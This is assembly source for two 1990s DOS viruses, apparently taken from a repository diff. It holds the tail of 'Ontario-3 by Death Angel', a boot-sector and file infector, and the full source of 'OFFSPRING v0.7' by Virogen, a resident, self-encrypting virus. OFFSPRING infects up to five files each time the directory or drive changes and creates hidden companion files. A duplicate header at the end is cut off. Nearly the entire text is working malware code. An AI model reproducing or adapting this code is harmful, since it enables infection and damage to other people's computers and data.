jne infectDSDXcheckCOM
cmp word ptr ds:readbuffer,0FFFFh ; check if SYS
jne infectDSDXerror ; file
cmp word ptr ds:readbuffer+2,0FFFFh
isanoverlay:
jne infectDSDXerror
or dx,dx
jnz infectDSDXerror
push ax ; save file size
mov di,offset save4
mov ax,5657h ; push di, push si
stosw
mov ax,0E953h ; push bx, jmp decrypt
stosw
mov ax,offset decrypt - (offset save4 + 6)
stosw
mov ax,word ptr ds:readbuffer+6 ; get strategy start point
stosw
pop ax ; get file size
push ax
add ax,offset save4
mov word ptr ds:readbuffer+6,ax
mov word ptr ds:SYSpatch,offset strategy-(offset SYSpatch + 2)
mov byte ptr ds:decrypt_loop,36h ; replace with SS:
pop ax
add ax,offset enddecrypt
jmp short go_infectDSDXcontinue
infectDSDXcheckCOM:
cmp byte ptr ds:readbuffer+3,'O'; check if already infected
jmp_infectDSDXerror:
je infectDSDXerror
cmp byte ptr ds:infCOMMAND,0; infecting COMMAND.COM?
je dontdoslackspace
sub ax,viruslength ; infect slack space of
xchg ax,dx ; command.com
xor cx,cx
mov ax,4200h
call callint21
dontdoslackspace:
mov si,offset readbuffer
mov di,offset save4
movsw
movsw
sub ax,3 ; convert size->jmp dest
mov byte ptr ds:readbuffer,0E9h ; encode JMP
mov word ptr ds:readbuffer+1,ax ; and destination
mov byte ptr ds:readbuffer+3,'O' ; mark infected
add ax,116h
go_infectDSDXcontinue:
jmp short infectDSDXcontinue
infectDSDXcheckEXE:
cmp word ptr ds:readbuffer+10h,0A01h ; already infected?
je jmp_infectDSDXerror
cmp word ptr ds:readbuffer+1Ah,0
jne isanoverlay ; exit if it's an overlay
push dx
push ax
mov cl,4
ror dx,cl
shr ax,cl
add ax,dx ; ax:dx = file size
sub ax,word ptr ds:readbuffer+8 ; subtract header size
mov si,offset readbuffer+14h
mov di,offset origCSIP
movsw ; save initial CS:IP
movsw
mov si,offset readbuffer+0Eh
movsw ; save initial SS:SP
movsw
mov word ptr ds:readbuffer+16h,ax ; set initial CS
mov word ptr ds:readbuffer+0Eh,ax ; set initial SS
mov word ptr ds:readbuffer+10h,0A01h ; set initial SP
pop ax
pop dx
push ax
add ax,0A01h
; adc dx,0 works just as well
jnc infectEXEnocarry
inc dx
infectEXEnocarry:
mov cx,200h ; take image size
div cx
; The next line is not entirely corrrect. The image size
; div 512 is rounded up. Therefore, DOS will find this number
; to be off by 512d bytes
mov word ptr ds:readbuffer+4,ax ; image size div 512
mov word ptr ds:readbuffer+2,dx ; image size mod 512
pop ax
and ax,0Fh
mov word ptr ds:readbuffer+14h,ax ; set initial IP
add ax,offset enddecrypt
infectDSDXcontinue:
mov word ptr ds:patch2,ax ; patch start area
push bx ; save file handle
xor byte ptr ds:decrypt_loop,18h ; swap SS: & CS:
call encrypt ; encrypt virus to buffer
pop bx ; restore file handle
mov ah,40h ; Concatenate encrypted
call callint21 ; virus
jc infectDSDXclose ; exit on error
xor dx,dx
mov cx,dx
mov ax,4200h ; go to start of file
call callint21
jc infectDSDXclose
mov dx,offset readbuffer
mov cx,1Ch
mov ah,40h ; Write new header
call callint21
infectDSDXclose:
pop cx
pop dx
jc infectDSDXnoaltertime
cmp byte ptr ds:infCOMMAND,0FFh ; infecting COMMAND.COM?
je infectDSDXnoaltertime
or cl,1Fh ; set time to 62 seconds
infectDSDXnoaltertime:
mov ax,5701h ; restore file time/date
call callint21
mov ah,3Eh ; Close file
call callint21
infectDSDXrestoreattributes:
mov byte ptr cs:infCOMMAND,0
mov byte ptr cs:infectSYS,0
popf
pop cx
pop ds
pop dx
jc infectDSDXexit
mov ax,4301h ; restore file attributes
call callint21
infectDSDXexit:
call restoreint13and24
call popall
retn
pushall:
push bp
mov bp,sp
push bx
push cx
push dx
push si
push di
push ds
push es
pushf
xchg ax,[bp+2]
push ax
mov ax,[bp+2]
retn
popall:
pop ax
xchg ax,[bp+2]
popf
pop es
pop ds
pop di
pop si
pop dx
pop cx
pop bx
pop bp
retn
replaceint13and24:
push ds
xor ax,ax
mov ds,ax
mov si,13h*4
lodsw
mov word ptr cs:origint13_1,ax
lodsw
mov word ptr cs:origint13_2,ax
mov si,24h*4
lodsw
mov word ptr cs:origint24_1,ax
lodsw
mov word ptr cs:origint24_2,ax
mov word ptr ds:13h*4,1234h
storeint13_1 = $ - 2
mov word ptr ds:13h*4+2,1234h
storeint13_2 = $ - 2
mov word ptr ds:24h*4,offset int24 ; replace int 24 handler
mov ds:24h*4+2,cs
pop ds
retn
restoreint13and24:
xor ax,ax
mov ds,ax
mov word ptr ds:13h*4,1234h
origint13_1 = $ - 2
mov word ptr ds:13h*4+2,1234h
origint13_2 = $ - 2
mov word ptr ds:24h*4,1234h
origint24_1 = $ - 2
mov word ptr ds:24h*4+2,1234h
origint24_2 = $ - 2
retn
int24:
xor al,al
iret
encrypt:
mov di,offset patch4
mov si,di
mov word ptr [si],offset save4 - offset enddecrypt
xor bx,bx
call random
jz encrypt1
add bl,4
inc di
encrypt1:
call random
in al,40h ; get random #
mov bh,al
jz encrypt2
add [di],al ; alter amount to encrypt
add bl,28h
jmp short encrypt3
encrypt2:
sub [di],al ; alter amount to encrypt
encrypt3:
add bl,0C1h
mov [si+3],bx
call random
jz encrypt4
xor byte ptr [si+2],2 ; flip betwen add/sub
encrypt4:
in ax,40h ; get random number != 0
or ax,ax
jz encrypt4
mov bx,3 ; first choose one of
xor dx,dx ; three possible registers
div bx
xchg ax,bx
inc ax ; ax = 4
mul dx ; convert to offset in
xchg ax,bx ; table
lea si,[bx+offset table1]
lodsb
mov byte ptr ds:patch1,al
lodsb
mov byte ptr ds:patch9,al
lodsb
mov byte ptr ds:patch12,al
lodsb
mov byte ptr ds:patch15,al
call random
jz encrypt5
xor byte ptr ds:patch13,2 ; loop/loopnz
encrypt5:
in ax,40h ; get random number
mov byte ptr ds:patch8,ah
and ax,0Fh
xchg ax,bx
shl bx,1
mov ax,[bx+offset table2]
mov word ptr ds:patch10,ax
xor si,si
mov di,offset encryptbuffer ; copy virus to
mov cx,endvirus - decrypt ; temporary buffer
push cx ; for encryption
cld
rep movsb
mov bx,offset enddecrypt
push word ptr [bx] ; save it
mov byte ptr [bx],0C3h ; put retn in its place
push bx
xor byte ptr [bx-7],28h ; sub/add
push word ptr ds:decrypt_loop
mov byte ptr [bx-8],2Eh ; CS:
mov dx,offset encryptbuffer
add bx,dx
mov word ptr ds:patch2,bx
call decrypt
pop word ptr ds:decrypt_loop
pop bx
pop word ptr [bx]
pop cx
retn
random: ; 1/2 chance of zero flag set
in al,40h
and al,1
cmp al,1
retn
saveorigvectors:
push ds
push ax
xor ax,ax
mov ds,ax
mov ax,ds:13h*4
mov word ptr cs:[bx+storeint13_1],ax
mov ax,ds:13h*4+2
mov word ptr cs:[bx+storeint13_2],ax
mov ax,ds:21h*4
mov word ptr cs:[bx+offset oldint21],ax
mov ax,ds:21h*4+2
mov word ptr cs:[bx+offset oldint21+2],ax
pop ax
pop ds
retn
strategy:
mov word ptr cs:[bx+doffset],bx ; save delta offset
pop bx
pop di
pop si
call pushall
push cs
pop ds
mov bx,1234h ; restore delta offset
doffset = $ - 2
db 8bh, 87h ; mov ax,ds:[save4+6]
dw offset save4 + 6 ; get old strategy entry point
mov word ptr ds:[6],ax ; and restore to file header
int 12h ; Get memory size in K
sub ax,5 ; decrease by 5 K
mov cl,6 ; convert to paragraphs
shl ax,cl
mov es,ax
mov word ptr ds:[bx+himemsegment],ax
cmp byte ptr es:[3],0B9h ; check if already installed
je strategyexit
mov si,bx ; copy to high memory
xor di,di
mov cx,viruslength
rep movsb
pushf
db 09Ah ; call far ptr
dw infectCOMMANDCOM
himemsegment dw 0
strategyexit:
call popall
jmp word ptr cs:[6] ; go to original strategy
table1 db 0BEh, 04h, 46h,0F3h ; si
db 0BFh, 05h, 47h,0FBh ; di
db 0BBh, 07h, 43h,0DBh ; bx
table2: inc al
dec al
inc ax
inc ax
dec ax
dec ax
add al,cl
sub al,cl
xor al,cl
xor al,ch
not al
neg al
ror al,1
rol al,1
ror al,cl
rol al,cl
nop
nop
add al,ch
comspec db 'COMSPEC='
command_com db '\COMMAND.COM',0
validextensions db 'COMEXEOVLSYS'
bootsector: ; offset 600h in the virus
jmp short bootsectorentry
nop
bootparms db 3Bh dup (0)
bootsectorentry:
xor ax,ax
mov ds,ax
cli
mov ss,ax
mov sp,7C00h
sti
mov ax,ds:13h*4 ; get int 13h handler
mov word ptr ds:[7C00h+oldint13-bootsector],ax
mov ax,ds:13h*4+2 ; and save it
mov word ptr ds:[7C00h+oldint13+2-bootsector],ax
mov ax,ds:[413h] ; get total memory
sub ax,2 ; reduce by 2K
mov ds:[413h],ax ; replace memory size
mov cl,6
shl ax,cl ; convert to paragraphs
sub ax,60h ; go to boot block start
mov es,ax
mov si,sp
mov di,offset bootsector
mov cx,100h
rep movsw
mov dx,offset highentry
push es
push dx
retf
highentry:
xor ax,ax ; reset disk
and dl,al
int 13h
push ds
push es
pop ds
pop es
mov bx,sp ; read to 0:7C00h
mov dx,drivehead ; find where original boot
mov cx,sectortrack ; block stored and then
mov ax,201h ; read original boot
int 13h ; sector
jc $ ; halt on error
xor ax,ax ; else chain to original
mov ds,ax ; boot sector
mov word ptr ds:13h*4,offset int13
mov ds:13h*4+2,cs ; replace int 13h handler
push es
push bx
retf
int13:
push bp
mov bp,sp
push ds
push es
push si
push di
push dx
push cx
push bx
push ax
pushf
xor bx,bx
mov ds,bx
test byte ptr ds:[43Fh],1 ; A: spinning?
jnz exitint13 ; exit if so
or dl,dl ; default drive?
jnz exitint13 ; exit if not
cmp ah,2 ; read/write/verify?
jb exitint13
cmp ah,4
jbe trapint13
exitint13:
popf
pop ax
pop bx
pop cx
pop dx
pop di
pop si
pop es
pop ds
pop bp
jmp dword ptr cs:oldint13 ; chain to original handler
trapint13:
cld
push cs
push cs
pop es
pop ds
xor cx,cx
mov dx,cx
inc cx
mov bx,offset endvirus ; read boot block to
mov ax,201h ; buffer at endvirus
call callint13
jnc int13readOK
int13exit:
jmp short exitint13
int13readOK:
cmp word ptr [bx+15h],501Eh ; push ds, push ax?
jne int13skip
cmp word ptr [bx+35h],0FF2Eh; jmp cs: ?
jne int13skip
cmp word ptr [bx+70h],7505h ; add ax,XX75 ?
jne int13skip
mov dh,1
mov cl,3
mov ax,201h
call callint13
xor dh,dh
mov cl,1
mov ax,301h
call callint13
int13skip:
cmp word ptr ds:[offset endvirus-bootsector+YAM],'Y*'
je int13exit ; don't infect self
cmp word ptr ds:[offset endvirus+0Bh],200h
jne int13exit ; infect only 512 bytes per sector
cmp byte ptr ds:[offset endvirus+0Dh],2
jne int13exit ; only 2 reserved sectors
cmp word ptr ds:[offset endvirus+1Ah],2
ja int13exit ; only 2 sec/track
xor dx,dx ; calculate new location of boot block
mov ax,word ptr ds:[offset endvirus+13h] ; total sec
mov bx,word ptr ds:[offset endvirus+1Ah] ; sec/track
mov cx,bx
div bx ; # track
xor dx,dx
mov bx,word ptr ds:[offset endvirus+18h] ; sec/FAT
div bx
sub word ptr ds:[offset endvirus+13h],cx ; total sec
dec ax
mov byte ptr sectortrack+1,al
mov ax,word ptr ds:[offset endvirus+18h] ; sec/FAT
mov byte ptr sectortrack,al
mov ax,word ptr ds:[offset endvirus+1Ah] ; sec/track
dec ax
mov byte ptr drivehead+1,al
mov byte ptr drivehead,0
mov dx,drivehead ; move original boot block
mov cx,sectortrack ; to end of disk
mov bx,offset endvirus
mov ax,301h
call callint13
jc go_exitint13
mov si,offset endvirus+3 ; copy parameters so
mov di,offset bootparms ; no one notices boot
mov cx,bootsectorentry - bootparms ; block is changed
rep movsb
xor cx,cx
mov dx,cx
inc cx
mov bx,offset bootsector ; copy virus boot block
mov ax,301h
call callint13
go_exitint13:
jmp exitint13
callint21:
pushf
call dword ptr cs:oldint21
retn
callint13:
pushf
call dword ptr cs:oldint13
retn
oldint13 dd 0
drivehead dw 100h
sectortrack dw 2709h
YAM db '*YAM*',1Ah
db 'Your PC has a bootache! - Get some medicine!',1Ah
db 'Ontario-3 by Death Angel',1Ah,1Ah,1Ah,1Ah
save4:
origCSIP db 0CDh, 020h, 0, 0
origSSSP dd 0
endvirus:
viruslength = $ - decrypt
infCOMMAND db ?
infectSYS db ?
readbuffer db 01Ch dup (?)
encryptbuffer db viruslength dup (?)
end decrypt
File diff suppressed because it is too large Load Diff
@@ -0,0 +1,714 @@
;-------------------------------------------------------------------------
; ************************************************
; OFFSPRING v0.7 - BY VIROGEN - 04-26-93
; ************************************************
;
; - Compatible with A86 v3.22
;
;
; DISCLAIMER : Don't hold me responsible for any damages, or the release
; of this virus. Use at your own risk.
;
; TYPE : Parastic Spawning Resident Encrypting (PSRhA)
;
;
; VERSION : BETA 0.7
;
; INFECTION METHOD : Everytime DOS function 3Bh (change dir) or function
; 0Eh (change drive) is called the virus will infect
; up to 5 files in the current directory (the one
; you're coming out of). It will first infect all
; EXE files by creating a corresponding COM. Once
; all EXE files have been infected, it then infects
; COM files. All COM files created by a spawning
; infection will have the read-only and hidden
; attribute.
;
;
; THE ENCRYPION OF THIS VIRUS :
; Ok, this virus's encryption method is a simple
; XOR. The encryption operands are changed directly.
; Also, the operands are switched around, and the
; bytes between them are constantly changed. The
; call to the encryption routine changes, so the
; address can be anywhere in a field of NOPs.
; Not anything overly amazing, but it works.
;
;
TITLE OFFSPRING_1
.286
CSEG SEGMENT
ASSUME CS: CSEG, SS: CSEG, ES: CSEG
SIGNAL EQU 7DH ; Installation check
REPLY EQU 0FCH ; reply to check
CR EQU 0DH ; carraige return
LF EQU 0AH ; line feed
F_NAME EQU 1EH ; Offset of file name in FF/FN buffer
F_SIZEL EQU 1CH ; File size - low
F_SIZEH EQU 1AH ; File size - high
F_DATE EQU 18H ; File date
F_TIME EQU 16H ; File time
MAX_INF EQU 05 ; Maximum files to infect per run
MAX_ROTATION EQU 9 ; number of bytes in switch byte table
PARASTIC EQU 01 ; Parastic infection
SPAWN EQU 00 ; Spawning infection
ORG 100H ; Leave room for PSP
;------------------------------------------------------------------
; Start of viral code
;------------------------------------------------------------------
START:
DB 0BEH ; MOV SI,xxxx - Load delta offset
SET_SI: DW 0000H
SKIP_DEC: JMP NO_DEC ; Skip decryption, changes into NOP on
; replicated copies.
M_SW1: NOP ; changs into a byte in op_set
XCHG_1 DB 0BFH
DW OFFSET ENC_DATA+2 ; Point to byte after encryption num
; Switches positions with XCHG_2
M_SW2: NOP ; changes into a byte in op_set
XCHG_2 DB 090H
ENC_NUM DW 9090H
M_SW3: NOP
DI_INS: DW 0C783H ; ADD DI,0 - changes to ADD DI,xxxx
ADD_DI: DW 9000H ; 00-NOP
CALL_ENC DB 0E8 ; Call encryption routine - address changes
E_JMP DW (OFFSET END_ENCRYPT-OFFSET E_JMP+2)
NO_DEC:
JMP MAIN ; Jump to virus code
;-----------------------------------------------
; Data area
;-----------------------------------------------
ENC_DATA DW 0000 ; Start of encrypted data
ROT_NUM DW 0000 ; Used when replacing bytes with OP_SET
VTYPE DB 00 ; Spawning or Parastic Infection?
INF_COUNT DB 0 ; How many files we have infected this run
COM_NAME DB 'COMMAND.COM' ; obvious
NEW_CODE DW 9090H ; ID bytes
NEW_JMP DB 0E9H,00,00 ; New Jump
FIRST_FIVE DB 5 DUP(0) ; original first five bytes of parasic inf.
ADD_MEM DB 0 ; restore mem size? Yes,No
ID DB CR,LF,'(c)1993 negoriV',CR,LF ; my copyright
VNAME DB CR,LF,'* Thank you for providing me and my offspring with a safe place to live *'
DB CR,LF,'* Offspring I v0.07. *',CR,LF,'$'
FNAME1 DB '*.EXE',0 ; Filespec
FNAME2 DB '*.COM',0 ; Filespec
FNAME_OFF DW FNAME1 ; Offset of Filespec to use
TIMES_INC DB 0 ; # of times encryption call incremented
SL DB '\' ; Backslash for directory name
FILE_DIR DB 64 DUP(0) ; directory of file we infected
FILE_NAME DB 13 DUP(0) ; filename of file we infected
OLD_DTA DD 0 ; old seg:off of DTA
OLD21_OFS DW 0 ; Offset of old INT 21H
OLD21_SEG DW 0 ; Seg of old INT 21h
NEW_SEG DW 0 ; New segment in high mem
PAR_BLK DW 0 ; command line count byte -psp
PAR_CMD DW 0080H ; Point to the command line -psp
PAR_SEG DW 0 ; seg
DW 05CH ; Use default FCB's in psp to save space
PAR1 DW 0 ;
DW 06CH ; FCB #2
PAR2 DW 0 ;
;--------------------------------------------------------------------
; INT 21h
;---------------------------------------------------------------------
NEW21 PROC ; New INT 21H handler
CMP AH, SIGNAL ; signaling us?
JNE NO
MOV AH,REPLY ; yep, give our offspring what he wants
JMP END_21
NO:
CMP AH, 3BH ; set dir func?
JE RUN_RES
CMP AH,0EH ; set disk func?
JE RUN_RES
JMP END_21
RUN_RES:
PUSHF
PUSH AX ; Push regs
PUSH BX
PUSH CX
PUSH DX
PUSH DI
PUSH SI
PUSH BP
PUSH DS
PUSH ES
PUSH SP
PUSH SS
PUSH CS
POP DS
XOR AX,AX ; nullify ES
MOV ES,AX
CMP ADD_MEM,1 ; Restore system conventional mem size?
JE REL_MEM ;
CMP AH,48H ; alloc. mem block? If so we subtract 3k from
JE SET_MEM ; total system memory.
JMP NO_MEM_FUNC
SET_MEM:
SUB WORD PTR ES: [413H],3 ; Subtract 3k from total sys mem
INC ADD_MEM ; make sure we know to add this back
JMP NO_MEM_FUNC
REL_MEM:
ADD WORD PTR ES: [413H],3 ; Add 3k to total sys mem
DEC ADD_MEM
NO_MEM_FUNC:
MOV AH,2FH
INT 21H ; Get the DTA
MOV AX,ES
MOV WORD PTR OLD_DTA,BX
MOV WORD PTR OLD_DTA+2,AX
PUSH CS
POP ES
CALL RESIDENT ; Call infection kernal
MOV DX,WORD PTR OLD_DTA
MOV AX,WORD PTR OLD_DTA+2
MOV DS,AX
MOV AH,1AH
INT 21H ; Restore the DTA
POP SS ; Pop regs
POP SP
POP ES
POP DS
POP BP
POP SI
POP DI
POP DX
POP CX
POP BX
POP AX
POPF
END_21 :
JMP [ DWORD PTR CS: OLD21_OFS] ; jump to original int 21h
IRET
NEW21 ENDP ; End of handler
;------------------------------------------------------------
; Main
;-----------------------------------------------------------
MAIN PROC
MOV WORD PTR [SI+OFFSET SKIP_DEC],9090H ; NOP the jump past decryption
MOV BYTE PTR [SI+OFFSET SKIP_DEC+2],90H
MOV AX,DS: 002CH ; Get environment address
MOV [SI+OFFSET PAR_BLK],AX ; Save in parameter block for exec
MOV [SI+OFFSET PAR1],CS ; Save segments for EXEC
MOV [SI+OFFSET PAR2],CS
MOV [SI+OFFSET PAR_SEG],CS
MOV AH,2AH ; Get date
INT 21H
CMP DL,14 ; 14th?
JNE NO_DISPLAY
MOV AH,09 ; Display message
LEA DX,[SI+OFFSET ID]
INT 21H
NO_DISPLAY:
CALL INSTALL ; check if installed, if not install
CMP BYTE PTR [SI+OFFSET VTYPE],PARASTIC
JE SKIP_THIS
MOV BX,(OFFSET VEND+50) ; Calculate memory needed
MOV CL,4 ; divide by 16
SHR BX,CL
INC BX
MOV AH,4AH
INT 21H ; Release un-needed memory
LEA DX,[SI+OFFSET FILE_DIR -1] ; Execute the original EXE
LEA BX,[SI+OFFSET PAR_BLK]
MOV AX,4B00H
INT 21H
MOV AH,4CH ; Exit
INT 21H
SKIP_THIS:
MOV CX,5 ; Restore original first
ADD SI,OFFSET FIRST_FIVE ; five bytes of COM file
MOV DI,0100H
CLD
REP MOVSB
MOV AX,0100H ; Simulate CALL return to 0100h
PUSH AX
RET
MAIN ENDP
;---------------
; INSTALL - Install the virus
;--------------
INSTALL PROC
MOV AH,SIGNAL
INT 21H
CMP AH,REPLY
JE NO_INSTALL
MOV AX,CS
DEC AX
MOV DS,AX
CMP BYTE PTR DS: [0],'Z' ;Is this the last MCB in
;the chain?
JNE NO_INSTALL
MOV AX,DS: [3] ;Block size in MCB
SUB AX,190 ;Shrink Block Size-quick estimate
MOV DS: [3],AX
MOV BX,AX
MOV AX,ES
ADD AX,BX
MOV ES,AX ;Find high memory seg
PUSH SI
ADD SI,0100H
MOV CX,(OFFSET VEND - OFFSET START)
MOV AX,DS
INC AX
MOV DS,AX
MOV DI,100H ; New location in high memory
CLD
REP MOVSB ; Copy virus to high memory
POP SI
MOV DS: NEW_SEG,ES ;Save new segment
PUSH ES
POP DS
XOR AX,AX
MOV ES,AX ; null es
MOV AX,ES: [21H*4+2]
MOV BX,ES: [21H*4]
MOV DS: OLD21_SEG,AX ; Store segment
MOV DS: OLD21_OFS,BX ; Store offset
CLI
MOV ES: [21H*4+2],DS ; Save seg
LEA AX,[OFFSET NEW21]
MOV ES: [21H*4],AX ; off
STI
NO_INSTALL:
PUSH CS ; Restore regs
POP DS
MOV ES,DS
RET
INSTALL ENDP
;------------------------
; Resident - This is called from the INT 21h handler
;-----------------------------
RESIDENT PROC
MOV VTYPE,SPAWN
MOV WORD PTR SET_SI,0000 ; SI=0000 on load
MOV BYTE PTR DI_INS,83H ; ADD DI,0 op
MOV WORD PTR ADD_DI,9000H ; 0090h for ADD DI,00
MOV BYTE PTR INF_COUNT,0 ; null infection count
MOV FNAME_OFF, OFFSET FNAME1 ; Set search for *.EXE
FIND_FIRST:
MOV WORD PTR VEND,0 ; Clear ff/fn buffer
LEA SI, VEND
LEA DI, VEND+2
MOV CX,22
CLD
REP MOVSW
; Set DTA address - This is for the Findfirst/Findnext INT 21H functions
MOV AH, 1AH
LEA DX, VEND
INT 21H
MOV AH, 4EH ; Findfirst
MOV CX, 0 ; Set normal file attribute search
MOV DX, FNAME_OFF
INT 21H
JNC NEXT_LOOP ; if still finding files then loop
JMP END_PROG
NEXT_LOOP :
CMP VTYPE, PARASTIC ; parastic infection?
JE START_INF ; yes, skip all this
MOV AH,47H
XOR DL,DL
LEA SI,FILE_DIR
INT 21H
CMP WORD PTR VEND[F_SIZEL],0 ; Make sure file isn't 64k+
JE OK_FIND ; for spawning infections
JMP FIND_FILE
OK_FIND:
XOR BX,BX
LM3 : ; find end of directory name
INC BX
CMP FILE_DIR[BX],0
JNE LM3
MOV FILE_DIR[BX],'\' ; append backslash to path
INC BX
MOV CX,13 ; append filename to path
LEA SI,VEND[F_NAME]
LEA DI,FILE_DIR[BX]
CLD
REP MOVSB
XOR BX,BX
MOV BX,1EH
LOOP_ME: ; search for filename ext.
INC BX
CMP BYTE PTR VEND[BX], '.'
JNE LOOP_ME
INC BX ; change it to COM
MOV WORD PTR VEND [BX],'OC'
MOV BYTE PTR VEND [BX+2],'M'
START_INF:
CMP VTYPE, PARASTIC ; parastic infection?
JE PARASTIC_INF ; yes.. so jump
;--------------------------------------
; Spawning infection
LEA DX, VEND[F_NAME]
MOV AH, 3CH ; Create file
MOV CX, 02H ; READ-ONLY
OR CX, 01H ; Hidden
INT 21H ; Call INT 21H
JNC CONTIN ; If Error-probably already infected
JMP NO_INFECT
CONTIN:
INC INF_COUNT
MOV BX,AX
JMP ENCRYPT_OPS
;----------------------------------------
; Parastic infection
PARASTIC_INF :
CMP VEND[F_SIZEh],400H
JGE CONT_INF2
JMP NO_INFECT
CONT_INF2:
LEA SI,VEND[F_NAME] ; Is Command.COM?
LEA DI,COM_NAME
MOV CX,11
CLD
REPE CMPSB
JNE CONT_INF0 ; Yes, don't infect
JMP NO_INFECT
CONT_INF0:
MOV AX,3D02H ; Open file for reading & writing
LEA DX,VEND[F_NAME] ; Filename in FF/FN buffer
INT 21H
JNC CONT_INF1 ; error, skip infection
JMP NO_INFECT
CONT_INF1:
MOV BX,AX
MOV AH,3FH ; Read first five bytes of file
MOV CX,05
LEA DX,FIRST_FIVE
INT 21H
CMP WORD PTR FIRST_FIVE,9090H
JNE CONT_INF
MOV AH,3EH
INT 21H
JMP NO_INFECT
CONT_INF:
INC INF_COUNT
MOV AX,4202H ; Set pointer to end of file, so we
XOR CX,CX ; can find the file size
XOR DX,DX
INT 21H
;SUB AX,0100h ; Subtract PSP size
MOV WORD PTR SET_SI,AX ; Change the MOV SI inst.
MOV WORD PTR ADD_DI,AX ; ADD DI,xxxx
MOV BYTE PTR DI_INS,81H ; ADD DI op
MOV AX,4200H
XOR CX,CX
XOR DX,DX
INT 21H
MOV AX,VEND[F_SIZEH]
SUB AX,5
MOV WORD PTR NEW_JMP+1,AX
MOV AH,40H
MOV CX,6
LEA DX,NEW_CODE
INT 21H
MOV AX,4202H
XOR CX,CX
XOR DX,DX
INT 21H
ENCRYPT_OPS:
;-----------------------------
; Change encryptions ops
PUSH BX
MOV AX,WORD PTR XCHG_1 ; Switch XCHG_1, and XCHG_2
MOV BX,WORD PTR XCHG_2
MOV WORD PTR XCHG_1,BX
MOV WORD PTR XCHG_2,AX
MOV AH, BYTE PTR XCHG_1+2
MOV BH, BYTE PTR XCHG_2+2
MOV BYTE PTR XCHG_1+2,BH
MOV BYTE PTR XCHG_2+2,AH
XOR_DONE:
CHG_TWO:
XOR CX,CX ; CX=0
LEA DI,SW_BYTE1 ; DI->sw_byte1
CHG_REST:
INC ROT_NUM ; increment rotation number
MOV BX,ROT_NUM ; bx=rotation num
MOV AH,OP_SET[BX] ; ah = new op code from set
MOV BYTE PTR [DI],AH
CMP ROT_NUM,MAX_ROTATION ; max rotation num?
JNE CHG_CNT ; no, chg_cnt
MOV WORD PTR ROT_NUM,0 ; reset rotation num
CHG_CNT:
INC CX ; increment count
CMP CX,1
LEA DI,M_SW1
JE CHG_REST
CMP CX,2
LEA DI,M_SW2
JE CHG_REST
CMP CX,3
LEA DI,M_SW3
JE CHG_REST
CMP CX,4
LEA DI,SW_BYTE1
JE CHG_REST
CHG_THREE:
XOR CX,CX
LEA DI,SW_BYTE3
CHG_FOUR:
CMP BYTE PTR [DI],47H ; is first byte (of 3rd) 'INC DI'?
MOV BX,1 ;
JE MOV_POS ; Yes, so change it to the second
CMP BYTE PTR [DI+1],47H ; is second byte 'INC DI'
MOV BX,2 ;
JE MOV_POS ; Yes, change it to the third
XOR BX,BX ; Else, must be in final position
MOV_POS: MOV WORD PTR [DI],9090H ; set all three bytes (of 3rd)
MOV BYTE PTR [DI+2],90H ; to NOP
MOV BYTE PTR [DI+BX],47H ; place 'INC DI' in necessary pos.
CMP BX,2
JNE NO_CHANGE
INC CX
CMP CX,2
LEA DI,SW_BYTE4
JNE CHG_FOUR
NO_CHANGE:
CMP BYTE PTR TIMES_INC,9
JE INC_NUM
INC WORD PTR B_WR
INC WORD PTR E_JMP
INC WORD PTR E_JMP
INC TIMES_INC
JMP D2
INC_NUM:
SUB WORD PTR B_WR,09
SUB WORD PTR E_JMP,18
MOV TIMES_INC,0
;-----------------------
; Get random XOR number, save it, copy virus, encrypt code
D2:
MOV AH,2CH ;
INT 21H ; Get random number from clock - millisecs
MOV WORD PTR XOR_OP+2,DX ; save encryption #
MOV SI,0100H
LEA DI,VEND+50 ; destination
MOV CX,OFFSET VEND-100H ; bytes to move
CLD
REP MOVSB ; copy virus outside of code
LEA DI,VEND+ENC_DATA-204 ; offset of new copy of virus
CMP BYTE PTR VTYPE, PARASTIC
JNE GO_ENC
;add di,si
GO_ENC:
CALL ENCRYPT ; encrypt new copy of virus
;----------------------------------------
; Write and close new infected file
POP BX
MOV CX, OFFSET VEND-100H ; # of bytes to write
LEA DX, VEND+50 ; Offset of buffer
MOV AH, 40H ; -- our program in memory
INT 21H ; Call INT 21H function 40h
CMP VTYPE, PARASTIC ; parastic?
JNE CLOSE ; no, don't need to restore date/time
MOV AX,5701H ; Restore data/time
MOV CX,VEND[F_TIME]
MOV DX,VEND[F_DATE]
INT 21H
CLOSE: MOV AH, 3EH
INT 21H
NO_INFECT:
; Find next file
FIND_FILE :
CMP INF_COUNT, MAX_INF
JE END_PROG
MOV AH,4FH
INT 21H
JC END_PROG
JMP NEXT_LOOP
END_PROG:
EXIT :
CMP INF_COUNT,0 ; Start parastic infection on next run
JNE FIND_DONE
CMP VTYPE, PARASTIC ; Parastic infection done?
JE FIND_DONE ; yes, we're finished
MOV FNAME_OFF, OFFSET FNAME2 ; Point to new filespec
MOV VTYPE, PARASTIC ; virus type = parastic
JMP FIND_FIRST
FIND_DONE:
MOV VTYPE,SPAWN
MOV FNAME_OFF, OFFSET FNAME1
RET
RESIDENT ENDP
END_ENCRYPT: ; Let's encrypt everything up to here
OP_SET DB 90H ; NOP
DB 40H ; INC AX
DB 43H ; INC BX
DB 48H ; DEC AX
DB 4BH ; DEC BX
DB 0FBH ; STI
DB 0FCH ; CLD
DB 4AH ; DEC DX
DB 42H ; INC DX
DB 14 DUP(090H)
;------------------------------------------------
; Encrypt/Decrypt Routine
;-----------------------------------------------
ENCRYPT PROC
CX_M DB 0B9H ; MOV CX
B_WR DW (OFFSET END_ENCRYPT-OFFSET ENC_DATA)/2
E2:
SW_BYTE1: ; XOR [di],dx swaps positions with this
NOP
XOR_OP: XOR WORD PTR [DI],0666H ; Xor each word - number changes accordingly
SW_BYTE3: ; INC DI changes position in these bytes
INC DI
NOP
NOP
SW_BYTE4: ; INC DI changes position in these bytes
INC DI
NOP
NOP
SW_BYTE2:
NOP ; This byte changes into a char in op_set
LOOP E2 ; loop while cx != 0
RET
ENCRYPT ENDP
VEND DW 0 ; End of virus
CSEG ENDS
END START
@@ -0,0 +1,714 @@
;-------------------------------------------------------------------------
; ************************************************
; OFFSPRING v0.7 - BY VIROGEN - 04-26-93
; ************************************************
;
; - Compatible with A86 v3.22
;
;
; DISCLAIMER : Don't hold me responsible for any damages, or the release
; of this virus. Use at your own risk.
;
; TYPE : Parastic Spawning Resident Encrypting (PSRhA)
;
;
; VERSION : BETA 0.7
;
; INFECTION METHOD : Everytime DOS function 3Bh (change dir) or function
; 0Eh (change drive) is called the virus will infect
; up to 5 files in the current directory (the one
; you're coming out of). It will first infect all
; EXE files by creating a corresponding COM. Once
; all EXE files have been infected, it then infects
